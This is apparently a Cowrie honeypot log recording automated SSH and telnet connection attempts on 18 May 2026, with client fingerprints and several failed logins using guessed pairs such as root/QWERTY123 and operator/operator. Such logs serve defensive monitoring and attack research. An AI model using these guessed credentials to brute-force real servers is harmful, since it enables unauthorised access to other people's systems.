{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36560,"dst_ip":"159.203.135.109","dst_port":22,"session":"48398e7c4bae","protocol":"ssh","message":"New connection: 192.109.200.237:36560 (159.203.135.109:22) [session: 48398e7c4bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:57.982222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:57.993374Z","src_ip":"192.109.200.237","session":"48398e7c4bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79936408996582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:58.012672Z","src_ip":"152.42.224.71","session":"a15dc360b692","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:58.077115Z","src_ip":"192.109.200.237","session":"48398e7c4bae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:58.324796Z","src_ip":"192.109.200.237","session":"48398e7c4bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:59.410807Z","src_ip":"192.109.200.237","session":"48398e7c4bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40688,"dst_ip":"10.17.0.5","dst_port":22,"session":"8905d8da3da7","protocol":"ssh","message":"New connection: 194.113.233.25:40688 (10.17.0.5:22) [session: 8905d8da3da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.008682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.022267Z","src_ip":"194.113.233.25","session":"8905d8da3da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.109501Z","src_ip":"194.113.233.25","session":"8905d8da3da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789abc","message":"login attempt [root/123456789abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.472742Z","src_ip":"194.113.233.25","session":"8905d8da3da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c12a1228f38","protocol":"ssh","message":"New connection: 192.109.200.237:50520 (159.203.135.109:22) [session: 9c12a1228f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.484084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.493337Z","src_ip":"192.109.200.237","session":"9c12a1228f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.576123Z","src_ip":"192.109.200.237","session":"9c12a1228f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:01.823805Z","src_ip":"192.109.200.237","session":"9c12a1228f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:02.570805Z","src_ip":"194.113.233.25","session":"8905d8da3da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:02.914778Z","src_ip":"192.109.200.237","session":"9c12a1228f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50530,"dst_ip":"159.203.135.109","dst_port":22,"session":"129658947b15","protocol":"ssh","message":"New connection: 192.109.200.237:50530 (159.203.135.109:22) [session: 129658947b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:04.875954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:04.886727Z","src_ip":"192.109.200.237","session":"129658947b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:04.971666Z","src_ip":"192.109.200.237","session":"129658947b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:05.225789Z","src_ip":"192.109.200.237","session":"129658947b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:06.312134Z","src_ip":"192.109.200.237","session":"129658947b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40100,"dst_ip":"10.17.0.5","dst_port":23,"session":"909cfe4ca529","protocol":"telnet","message":"New connection: 152.42.224.71:40100 (10.17.0.5:23) [session: 909cfe4ca529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:06.792505Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50542,"dst_ip":"159.203.135.109","dst_port":22,"session":"309c619d7043","protocol":"ssh","message":"New connection: 192.109.200.237:50542 (159.203.135.109:22) [session: 309c619d7043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:08.223847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:08.229831Z","src_ip":"192.109.200.237","session":"309c619d7043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:08.312427Z","src_ip":"192.109.200.237","session":"309c619d7043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:08.560179Z","src_ip":"192.109.200.237","session":"309c619d7043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.353249073028564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:09.515160Z","src_ip":"152.42.224.71","session":"37e5c9aae481","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:09.645119Z","src_ip":"192.109.200.237","session":"309c619d7043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56518,"dst_ip":"159.203.135.109","dst_port":22,"session":"26f19f7b98b2","protocol":"ssh","message":"New connection: 192.109.200.237:56518 (159.203.135.109:22) [session: 26f19f7b98b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:11.571605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:11.576403Z","src_ip":"192.109.200.237","session":"26f19f7b98b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:11.777629Z","src_ip":"192.109.200.237","session":"26f19f7b98b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:12.059566Z","src_ip":"192.109.200.237","session":"26f19f7b98b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40114,"dst_ip":"10.17.0.5","dst_port":23,"session":"db26e4b04aa8","protocol":"telnet","message":"New connection: 152.42.224.71:40114 (10.17.0.5:23) [session: db26e4b04aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:12.439462Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40122,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae747342e9df","protocol":"telnet","message":"New connection: 152.42.224.71:40122 (10.17.0.5:23) [session: ae747342e9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:12.880706Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:13.146152Z","src_ip":"192.109.200.237","session":"26f19f7b98b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.195013761520386,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:13.932231Z","src_ip":"152.42.224.71","session":"d4ffd8ef21c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56532,"dst_ip":"159.203.135.109","dst_port":22,"session":"31f471b2a9b4","protocol":"ssh","message":"New connection: 192.109.200.237:56532 (159.203.135.109:22) [session: 31f471b2a9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:15.112833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:15.117495Z","src_ip":"192.109.200.237","session":"31f471b2a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:15.199834Z","src_ip":"192.109.200.237","session":"31f471b2a9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:15.449502Z","src_ip":"192.109.200.237","session":"31f471b2a9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:16.536072Z","src_ip":"192.109.200.237","session":"31f471b2a9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56540,"dst_ip":"159.203.135.109","dst_port":22,"session":"53cc08429504","protocol":"ssh","message":"New connection: 192.109.200.237:56540 (159.203.135.109:22) [session: 53cc08429504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:18.456758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:18.462052Z","src_ip":"192.109.200.237","session":"53cc08429504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:18.545025Z","src_ip":"192.109.200.237","session":"53cc08429504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:19:18.795432Z","src_ip":"192.109.200.237","session":"53cc08429504","protocol":"ssh"}
